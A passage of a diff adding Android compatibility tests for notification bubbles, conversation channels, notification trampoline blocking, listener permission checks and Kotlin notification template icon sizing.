+            // These do not support bubbles.
+            return;
+        }
+        try {
+            setBubblesGlobal(true);
+            setBubblesAppPref(1 /* all */);
+            setBubblesChannelAllowed(true);
+
+            createDynamicShortcut();
+            setUpNotifListener();
+
+            SendBubbleActivity a = startSendBubbleActivity();
+
+            // Prep to find bubbled activity
+            Class clazz = BubbledActivity.class;
+            Instrumentation.ActivityResult result =
+                    new Instrumentation.ActivityResult(0, new Intent());
+            Instrumentation.ActivityMonitor monitor =
+                    new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
+            InstrumentationRegistry.getInstrumentation().addMonitor(monitor);
+
+            a.sendBubble(BUBBLE_NOTIF_ID, true /* autoExpand */,
+                    false /* suppressNotif */,
+                    false /* suppressBubble */,
+                    true /* useShortcut */,
+                    true /* setLocus */);
+
+            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+
+            BubbledActivity activity = (BubbledActivity) monitor.waitForActivity();
+            assertTrue(activity.isLaunchedFromBubble());
+        } finally {
+            deleteShortcuts();
+            cleanupSendBubbleActivity();
+        }
+    }
+
+    /** Verifies the bubble is suppressed when it should be. */
+    public void testNotificationManagerBubble_setSuppressBubble()
+            throws Exception {
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()
+                || mActivityManager.isLowRamDevice()) {
+            // These do not support bubbles.
+            return;
+        }
+        try {
+            setBubblesGlobal(true);
+            setBubblesAppPref(1 /* all */);
+            setBubblesChannelAllowed(true);
+
+            createDynamicShortcut();
+            setUpNotifListener();
+
+            final int notifId = 3;
+
+            // Make a bubble
+            SendBubbleActivity a = startSendBubbleActivity();
+            a.sendBubble(notifId,
+                    false /* autoExpand */,
+                    false /* suppressNotif */,
+                    true /* suppressBubble */);
+
+            verifyNotificationBubbleState(notifId, true /* shouldBeBubble */);
+
+            // Prep to find bubbled activity
+            Class clazz = BubbledActivity.class;
+            Instrumentation.ActivityResult result =
+                    new Instrumentation.ActivityResult(0, new Intent());
+            Instrumentation.ActivityMonitor monitor =
+                    new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
+            InstrumentationRegistry.getInstrumentation().addMonitor(monitor);
+
+            // Launch same activity as whats in the bubble
+            a.startBubbleActivity(notifId);
+            BubbledActivity activity = (BubbledActivity) monitor.waitForActivity();
+            InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+
+            // It should have the locusId
+            assertEquals(new LocusId(String.valueOf(notifId)),
+                    activity.getLocusId());
+
+            // notif gets posted with update, so wait
+            verifyNotificationBubbleState(notifId, true /* shouldBeBubble */);
+
+            // Bubble should have suppressed flag
+            StatusBarNotification sbn = findPostedNotification(notifId, true);
+            assertTrue(sbn.getNotification().getBubbleMetadata().isBubbleSuppressable());
+            assertTrue(sbn.getNotification().getBubbleMetadata().isBubbleSuppressed());
+        } finally {
+            deleteShortcuts();
+            cleanupSendBubbleActivity();
+        }
+    }
+
+    /** Verifies the bubble is not suppressed if dev didn't specify suppressable */
+    public void testNotificationManagerBubble_setSuppressBubble_notSuppressable()
+            throws Exception {
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()
+                || mActivityManager.isLowRamDevice()) {
+            // These do not support bubbles.
+            return;
+        }
+        try {
+            setBubblesGlobal(true);
+            setBubblesAppPref(1 /* all */);
+            setBubblesChannelAllowed(true);
+
+            createDynamicShortcut();
+            setUpNotifListener();
+
+            // Make a bubble
+            SendBubbleActivity a = startSendBubbleActivity();
+            a.sendBubble(BUBBLE_NOTIF_ID,
+                    false /* autoExpand */,
+                    false /* suppressNotif */,
+                    false /* suppressBubble */);
+
+            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+
+            // Prep to find bubbled activity
+            Class clazz = BubbledActivity.class;
+            Instrumentation.ActivityResult result =
+                    new Instrumentation.ActivityResult(0, new Intent());
+            Instrumentation.ActivityMonitor monitor =
+                    new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
+            InstrumentationRegistry.getInstrumentation().addMonitor(monitor);
+
+            // Launch same activity as whats in the bubble
+            a.startBubbleActivity(BUBBLE_NOTIF_ID);
+            BubbledActivity activity = (BubbledActivity) monitor.waitForActivity();
+            InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+
+            // It should have the locusId
+            assertEquals(new LocusId(String.valueOf(BUBBLE_NOTIF_ID)),
+                    activity.getLocusId());
+
+            // notif gets posted with update, so wait
+            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+
+            // Bubble should not be suppressed
+            StatusBarNotification sbn = findPostedNotification(BUBBLE_NOTIF_ID, true);
+            assertFalse(sbn.getNotification().getBubbleMetadata().isBubbleSuppressable());
+            assertFalse(sbn.getNotification().getBubbleMetadata().isBubbleSuppressed());
+        } finally {
+            deleteShortcuts();
+            cleanupSendBubbleActivity();
+        }
+    }
+
+    /** Verifies the bubble is not suppressed if the activity doesn't have a locusId. */
+    public void testNotificationManagerBubble_setSuppressBubble_activityNoLocusId()
+            throws Exception {
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()
+                || mActivityManager.isLowRamDevice()) {
+            // These do not support bubbles.
+            return;
+        }
+        try {
+            setBubblesGlobal(true);
+            setBubblesAppPref(1 /* all */);
+            setBubblesChannelAllowed(true);
+
+            createDynamicShortcut();
+            setUpNotifListener();
+
+            // Make a bubble
+            SendBubbleActivity a = startSendBubbleActivity();
+            a.sendBubble(BUBBLE_NOTIF_ID,
+                    false /* autoExpand */,
+                    false /* suppressNotif */,
+                    true /* suppressBubble */);
+
+            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+
+            // Prep to find bubbled activity
+            Class clazz = BubbledActivity.class;
+            Instrumentation.ActivityResult result =
+                    new Instrumentation.ActivityResult(0, new Intent());
+            Instrumentation.ActivityMonitor monitor =
+                    new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
+            InstrumentationRegistry.getInstrumentation().addMonitor(monitor);
+
+            // Launch same activity as whats in the bubble
+            a.startBubbleActivity(BUBBLE_NOTIF_ID, false /* addLocusId */);
+            BubbledActivity activity = (BubbledActivity) monitor.waitForActivity();
+            InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+
+            // It shouldn't have the locusId
+            assertNull(activity.getLocusId());
+
+            // notif gets posted with update, so wait
+            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+
+            // Bubble should not be suppressed
+            StatusBarNotification sbn = findPostedNotification(BUBBLE_NOTIF_ID, true);
+            assertTrue(sbn.getNotification().getBubbleMetadata().isBubbleSuppressable());
+            assertFalse(sbn.getNotification().getBubbleMetadata().isBubbleSuppressed());
+        } finally {
+            deleteShortcuts();
+            cleanupSendBubbleActivity();
+        }
+    }
+
+    /** Verifies the bubble is not suppressed if the notification doesn't have a locusId. */
+    public void testNotificationManagerBubble_setSuppressBubble_notificationNoLocusId()
+            throws Exception {
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()
+                || mActivityManager.isLowRamDevice()) {
+            // These do not support bubbles.
+            return;
+        }
+        try {
+            setBubblesGlobal(true);
+            setBubblesAppPref(1 /* all */);
+            setBubblesChannelAllowed(true);
+
+            createDynamicShortcut();
+            setUpNotifListener();
+
+            // Make a bubble
+            SendBubbleActivity a = startSendBubbleActivity();
+            a.sendBubble(BUBBLE_NOTIF_ID,
+                    false /* autoExpand */,
+                    false /* suppressNotif */,
+                    true /* suppressBubble */,
+                    false /* useShortcut */,
+                    false /* setLocusId */);
+
+            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+
+            // Prep to find bubbled activity
+            Class clazz = BubbledActivity.class;
+            Instrumentation.ActivityResult result =
+                    new Instrumentation.ActivityResult(0, new Intent());
+            Instrumentation.ActivityMonitor monitor =
+                    new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
+            InstrumentationRegistry.getInstrumentation().addMonitor(monitor);
+
+            // Launch same activity as whats in the bubble
+            a.startBubbleActivity(BUBBLE_NOTIF_ID, true /* addLocusId */);
+            BubbledActivity activity = (BubbledActivity) monitor.waitForActivity();
+            InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+
+            // Activity has the locus
+            assertNotNull(activity.getLocusId());
+
+            // notif gets posted with update, so wait
+            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+
+            // Bubble should not be suppressed & not have a locusId
+            StatusBarNotification sbn = findPostedNotification(BUBBLE_NOTIF_ID, true);
+            assertNull(sbn.getNotification().getLocusId());
+            assertTrue(sbn.getNotification().getBubbleMetadata().isBubbleSuppressable());
+            assertFalse(sbn.getNotification().getBubbleMetadata().isBubbleSuppressed());
+        } finally {
+            deleteShortcuts();
+            cleanupSendBubbleActivity();
+        }
+    }
+
+    /** Verifies the bubble is unsuppressed when the locus activity is hidden. */
+    public void testNotificationManagerBubble_setSuppressBubble_dismissLocusActivity()
+            throws Exception {
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()
+                || mActivityManager.isLowRamDevice()) {
+            // These do not support bubbles.
+            return;
+        }
+        try {
+            setBubblesGlobal(true);
+            setBubblesAppPref(1 /* all */);
+            setBubblesChannelAllowed(true);
+
+            createDynamicShortcut();
+            setUpNotifListener();
+
+            final int notifId = 2;
+
+            // Make a bubble
+            SendBubbleActivity a = startSendBubbleActivity();
+            a.sendBubble(notifId,
+                    false /* autoExpand */,
+                    false /* suppressNotif */,
+                    true /* suppressBubble */);
+
+            verifyNotificationBubbleState(notifId, true);
+
+            StatusBarNotification sbn = findPostedNotification(notifId, true);
+            assertTrue(sbn.getNotification().getBubbleMetadata().isBubbleSuppressable());
+            assertFalse(sbn.getNotification().getBubbleMetadata().isBubbleSuppressed());
+
+            // Prep to find bubbled activity
+            Class clazz = BubbledActivity.class;
+            Instrumentation.ActivityResult result =
+                    new Instrumentation.ActivityResult(0, new Intent());
+            Instrumentation.ActivityMonitor monitor =
+                    new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
+            InstrumentationRegistry.getInstrumentation().addMonitor(monitor);
+
+            // Launch same activity as whats in the bubble
+            a.startBubbleActivity(notifId);
+            BubbledActivity activity = (BubbledActivity) monitor.waitForActivity();
+            InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+
+            // It should have the locusId
+            assertEquals(new LocusId(String.valueOf(notifId)),
+                    activity.getLocusId());
+
+            // notif gets posted with update, so wait
+            verifyNotificationBubbleState(notifId, true /* shouldBeBubble */);
+
+            // Bubble should have suppressed flag
+            sbn = findPostedNotification(notifId, true);
+            assertTrue(sbn.getNotification().getBubbleMetadata().isBubbleSuppressable());
+            assertTrue(sbn.getNotification().getBubbleMetadata().isBubbleSuppressed());
+
+            activity.finish();
+
+            // notif gets posted with update, so wait
+            verifyNotificationBubbleState(notifId, true /* shouldBeBubble */);
+
+            sbn = findPostedNotification(notifId, true);
+            assertTrue(sbn.getNotification().getBubbleMetadata().isBubbleSuppressable());
+            assertFalse(sbn.getNotification().getBubbleMetadata().isBubbleSuppressed());
+        } finally {
+            deleteShortcuts();
+            cleanupSendBubbleActivity();
+        }
+    }
+
+    /** Verifies that a regular activity can't specify a bubble in ActivityOptions */
+    public void testNotificationManagerBubble_launchBubble_activityOptions_fails()
+            throws Exception {
+        try {
+            // Start test activity
+            SendBubbleActivity activity = startSendBubbleActivity();
+            assertFalse(activity.isLaunchedFromBubble());
+
+            // Should have exception
+            assertThrows(SecurityException.class, () -> {
+                Intent i = new Intent(mContext, BubbledActivity.class);
+                ActivityOptions options = ActivityOptions.makeBasic();
+                Bundle b = options.toBundle();
+                b.putBoolean("android.activity.launchTypeBubble", true);
+                activity.startActivity(i, b);
+            });
+        } finally {
+            cleanupSendBubbleActivity();
+        }
+    }
+
     public void testOriginalChannelImportance() {
-        NotificationChannel channel = new NotificationChannel(
-                "my channel", "my channel", IMPORTANCE_HIGH);
+        NotificationChannel channel = new NotificationChannel(mId, "my channel", IMPORTANCE_HIGH);
 
         mNotificationManager.createNotificationChannel(channel);
 
@@ -3614,4 +4084,240 @@
         compareChannels(conversationChannel,
                 mNotificationManager.getNotificationChannel(channel.getId(), conversationId));
     }
+
+    public void testConversationRankingFields() throws Exception {
+        toggleListenerAccess(true);
+        Thread.sleep(500); // wait for listener to be allowed
+
+        mListener = TestNotificationListener.getInstance();
+        assertNotNull(mListener);
+
+        createDynamicShortcut();
+        mNotificationManager.notify(177, getConversationNotification().build());
+
+        if (!checkNotificationExistence(177, /*shouldExist=*/ true)) {
+            fail("couldn't find posted notification id=" + 177);
+        }
+        Thread.sleep(500); // wait for notification listener to receive notification
+        assertEquals(1, mListener.mPosted.size());
+
+        NotificationListenerService.RankingMap rankingMap = mListener.mRankingMap;
+        NotificationListenerService.Ranking outRanking = new NotificationListenerService.Ranking();
+        for (String key : rankingMap.getOrderedKeys()) {
+            if (key.contains(mListener.getPackageName())) {
+                rankingMap.getRanking(key, outRanking);
+                assertTrue(outRanking.isConversation());
+                assertEquals(SHARE_SHORTCUT_ID, outRanking.getConversationShortcutInfo().getId());
+            }
+        }
+    }
+
+    public void testDemoteConversationChannel() {
+        final NotificationChannel channel =
+                new NotificationChannel(mId, "Messages", IMPORTANCE_DEFAULT);
+
+        String conversationId = "person a";
+
+        final NotificationChannel conversationChannel =
+                new NotificationChannel(mId + "child",
+                        "Messages from " + conversationId, IMPORTANCE_DEFAULT);
+        conversationChannel.setConversationId(channel.getId(), conversationId);
+
+        mNotificationManager.createNotificationChannel(channel);
+        mNotificationManager.createNotificationChannel(conversationChannel);
+
+        conversationChannel.setDemoted(true);
+
+        SystemUtil.runWithShellPermissionIdentity(() ->
+                mNotificationManager.updateNotificationChannel(
+                        mContext.getPackageName(), android.os.Process.myUid(), channel));
+
+        assertEquals(false, mNotificationManager.getNotificationChannel(
+                channel.getId(), conversationId).isDemoted());
+    }
+
+    public void testDeleteConversationChannels() throws Exception {
+        setUpNotifListener();
+
+        createDynamicShortcut();
+
+        final NotificationChannel channel =
+                new NotificationChannel(mId, "Messages", IMPORTANCE_DEFAULT);
+
+        final NotificationChannel conversationChannel =
+                new NotificationChannel(mId + "child",
+                        "Messages from " + SHARE_SHORTCUT_ID, IMPORTANCE_DEFAULT);
+        conversationChannel.setConversationId(channel.getId(), SHARE_SHORTCUT_ID);
+
+        mNotificationManager.createNotificationChannel(channel);
+        mNotificationManager.createNotificationChannel(conversationChannel);
+
+        mNotificationManager.notify(177, getConversationNotification().build());
+
+        if (!checkNotificationExistence(177, /*shouldExist=*/ true)) {
+            fail("couldn't find posted notification id=" + 177);
+        }
+        Thread.sleep(500); // wait for notification listener to receive notification
+        assertEquals(1, mListener.mPosted.size());
+
+        deleteShortcuts();
+
+        Thread.sleep(300); // wait for deletion to propagate
+
+        assertFalse(mNotificationManager.getNotificationChannel(channel.getId(),
+                conversationChannel.getConversationId()).isConversation());
+
+    }
+
+    public void testActivityStartOnBroadcastTrampoline_isBlocked() throws Exception {
+        setUpNotifListener();
+        mListener.addTestPackage(TRAMPOLINE_APP);
+        EventCallback callback = new EventCallback();
+        int notificationId = 6001;
+
+        // Post notification and fire its pending intent
+        sendTrampolineMessage(TRAMPOLINE_SERVICE, MESSAGE_BROADCAST_NOTIFICATION, notificationId,
+                callback);
+        StatusBarNotification statusBarNotification = findPostedNotification(notificationId, true);
+        assertNotNull("Notification not posted on time", statusBarNotification);
+        statusBarNotification.getNotification().contentIntent.send();
+
+        assertTrue("Broadcast not received on time",
+                callback.waitFor(EventCallback.BROADCAST_RECEIVED, TIMEOUT_LONG_MS));
+        assertFalse("Activity start should have been blocked",
+                callback.waitFor(EventCallback.ACTIVITY_STARTED, TIMEOUT_MS));
+    }
+
+    public void testActivityStartOnServiceTrampoline_isBlocked() throws Exception {
+        setUpNotifListener();
+        mListener.addTestPackage(TRAMPOLINE_APP);
+        EventCallback callback = new EventCallback();
+        int notificationId = 6002;
+
+        // Post notification and fire its pending intent
+        sendTrampolineMessage(TRAMPOLINE_SERVICE, MESSAGE_SERVICE_NOTIFICATION, notificationId,
+                callback);
+        StatusBarNotification statusBarNotification = findPostedNotification(notificationId, true);
+        assertNotNull("Notification not posted on time", statusBarNotification);
+        statusBarNotification.getNotification().contentIntent.send();
+
+        assertTrue("Service not started on time",
+                callback.waitFor(EventCallback.SERVICE_STARTED, TIMEOUT_MS));
+        assertFalse("Activity start should have been blocked",
+                callback.waitFor(EventCallback.ACTIVITY_STARTED, TIMEOUT_MS));
+    }
+
+    public void testActivityStartOnBroadcastTrampoline_whenApi30_isAllowed() throws Exception {
+        setUpNotifListener();
+        mListener.addTestPackage(TRAMPOLINE_APP_API_30);
+        EventCallback callback = new EventCallback();
+        int notificationId = 6003;
+
+        // Post notification and fire its pending intent
+        sendTrampolineMessage(TRAMPOLINE_SERVICE_API_30, MESSAGE_BROADCAST_NOTIFICATION,
+                notificationId, callback);
+        StatusBarNotification statusBarNotification = findPostedNotification(notificationId, true);
+        assertNotNull("Notification not posted on time", statusBarNotification);
+        statusBarNotification.getNotification().contentIntent.send();
+
+        assertTrue("Broadcast not received on time",
+                callback.waitFor(EventCallback.BROADCAST_RECEIVED, TIMEOUT_LONG_MS));
+        assertTrue("Activity not started",
+                callback.waitFor(EventCallback.ACTIVITY_STARTED, TIMEOUT_MS));
+    }
+
+    public void testActivityStartOnServiceTrampoline_whenApi30_isAllowed() throws Exception {
+        setUpNotifListener();
+        mListener.addTestPackage(TRAMPOLINE_APP_API_30);
+        EventCallback callback = new EventCallback();
+        int notificationId = 6004;
+
+        // Post notification and fire its pending intent
+        sendTrampolineMessage(TRAMPOLINE_SERVICE_API_30, MESSAGE_SERVICE_NOTIFICATION,
+                notificationId, callback);
+        StatusBarNotification statusBarNotification = findPostedNotification(notificationId, true);
+        assertNotNull("Notification not posted on time", statusBarNotification);
+        statusBarNotification.getNotification().contentIntent.send();
+
+        assertTrue("Service not started on time",
+                callback.waitFor(EventCallback.SERVICE_STARTED, TIMEOUT_MS));
+        assertTrue("Activity not started",
+                callback.waitFor(EventCallback.ACTIVITY_STARTED, TIMEOUT_MS));
+    }
+
+    public void testGrantRevokeNotificationManagerApis_works() {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            ComponentName componentName = TestNotificationListener.getComponentName();
+            mNotificationManager.setNotificationListenerAccessGranted(
+                    componentName, true, true);
+
+            assertThat(
+                    mNotificationManager.getEnabledNotificationListeners(),
+                    hasItem(componentName));
+
+            mNotificationManager.setNotificationListenerAccessGranted(
+                    componentName, false, false);
+
+            assertThat(
+                    "Non-user-set changes should not override user-set",
+                    mNotificationManager.getEnabledNotificationListeners(),
+                    hasItem(componentName));
+        });
+    }
+
+    public void testGrantRevokeNotificationManagerApis_exclusiveToPermissionController() {
+        List<PackageInfo> allPackages = mPackageManager.getInstalledPackages(
+                PackageManager.MATCH_DISABLED_COMPONENTS
+                        | PackageManager.MATCH_DISABLED_UNTIL_USED_COMPONENTS);
+        List<String> allowedPackages = Arrays.asList(
+                mPackageManager.getPermissionControllerPackageName(),
+                "com.android.shell");
+        for (PackageInfo pkg : allPackages) {
+            if (!pkg.applicationInfo.isSystemApp()
+                    && mPackageManager.checkPermission(
+                            Manifest.permission.MANAGE_NOTIFICATION_LISTENERS, pkg.packageName)
+                            == PackageManager.PERMISSION_GRANTED
+                    && !allowedPackages.contains(pkg.packageName)) {
+                fail(pkg.packageName + " can't hold "
+                        + Manifest.permission.MANAGE_NOTIFICATION_LISTENERS);
+            }
+        }
+    }
+
+    public void testChannelDeletion_cancelReason() throws Exception {
+        setUpNotifListener();
+
+        sendNotification(566, R.drawable.black);
+
+        Thread.sleep(500); // wait for notification listener to receive notification
+        assertEquals(1, mListener.mPosted.size());
+        String key = mListener.mPosted.get(0).getKey();
+
+        mNotificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+
+        assertEquals(NotificationListenerService.REASON_CHANNEL_REMOVED,
+                getCancellationReason(key));
+    }
+
+    private static class EventCallback extends Handler {
+        private static final int BROADCAST_RECEIVED = 1;
+        private static final int SERVICE_STARTED = 2;
+        private static final int ACTIVITY_STARTED = 3;
+
+        private final Map<Integer, ConditionVariable> mEvents =
+                Collections.synchronizedMap(new ArrayMap<>());
+
+        private EventCallback() {
+            super(Looper.getMainLooper());
+        }
+
+        @Override
+        public void handleMessage(Message message) {
+            mEvents.computeIfAbsent(message.what, e -> new ConditionVariable()).open();
+        }
+
+        public boolean waitFor(int event, long timeoutMs) {
+            return mEvents.computeIfAbsent(event, e -> new ConditionVariable()).block(timeoutMs);
+        }
+    }
 }
diff --git a/tests/app/src/android/app/cts/NotificationTemplateTest.kt b/tests/app/src/android/app/cts/NotificationTemplateTest.kt
new file mode 100644
index 0000000..0917767
--- /dev/null
+++ b/tests/app/src/android/app/cts/NotificationTemplateTest.kt
@@ -0,0 +1,786 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.cts
+
+import android.R
+import android.app.Notification
+import android.app.PendingIntent
+import android.app.Person
+import android.app.cts.CtsAppTestUtils.platformNull
+import android.content.Intent
+import android.graphics.Bitmap
+import android.graphics.Canvas
+import android.graphics.Color
+import android.graphics.drawable.Icon
+import android.net.Uri
+import android.view.View
+import android.widget.ImageView
+import android.widget.TextView
+import androidx.annotation.ColorInt
+import androidx.test.filters.SmallTest
+import com.google.common.truth.Truth.assertThat
+import org.junit.Assume
+import kotlin.test.assertFailsWith
+
+class NotificationTemplateTest : NotificationTemplateTestBase() {
+
+    fun testWideIcon_inCollapsedState_cappedTo16By9() {
+        val icon = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 16 / 9).toFloat())
+        }
+    }
+
+    fun testWideIcon_inCollapsedState_canShowExact4By3() {
+        val icon = Bitmap.createBitmap(400, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+        }
+    }
+
+    fun testWideIcon_inCollapsedState_canShowUriIcon() {
+        val uri = Uri.parse("content://android.app.stubs.assets/picture_400_by_300.png")
+        val icon = Icon.createWithContentUri(uri)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+        }
+    }
+
+    fun testWideIcon_inCollapsedState_neverNarrowerThanSquare() {
+        val icon = Bitmap.createBitmap(200, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    fun testWideIcon_inBigBaseState_cappedTo16By9() {
+        val icon = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 16 / 9).toFloat())
+        }
+    }
+
+    fun testWideIcon_inBigBaseState_canShowExact4By3() {
+        val icon = Bitmap.createBitmap(400, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+        }
+    }
+
+    fun testWideIcon_inBigBaseState_neverNarrowerThanSquare() {
+        val icon = Bitmap.createBitmap(200, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    fun testWideIcon_inBigPicture_cappedTo16By9() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val icon = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigPictureStyle().bigPicture(picture))
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 16 / 9).toFloat())
+        }
+    }
+
+    fun testWideIcon_inBigPicture_canShowExact4By3() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val icon = Bitmap.createBitmap(400, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigPictureStyle().bigPicture(picture))
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+        }
+    }
+
+    fun testWideIcon_inBigPicture_neverNarrowerThanSquare() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val icon = Bitmap.createBitmap(200, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigPictureStyle().bigPicture(picture))
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    fun testWideIcon_inBigText_cappedTo16By9() {
+        val icon = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigTextStyle().bigText("Big\nText\nContent"))
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 16 / 9).toFloat())
+        }
+    }
+
+    fun testWideIcon_inBigText_canShowExact4By3() {
+        val icon = Bitmap.createBitmap(400, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigTextStyle().bigText("Big\nText\nContent"))
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+        }
+    }
+
+    fun testWideIcon_inBigText_neverNarrowerThanSquare() {
+        val icon = Bitmap.createBitmap(200, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigTextStyle().bigText("Big\nText\nContent"))
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
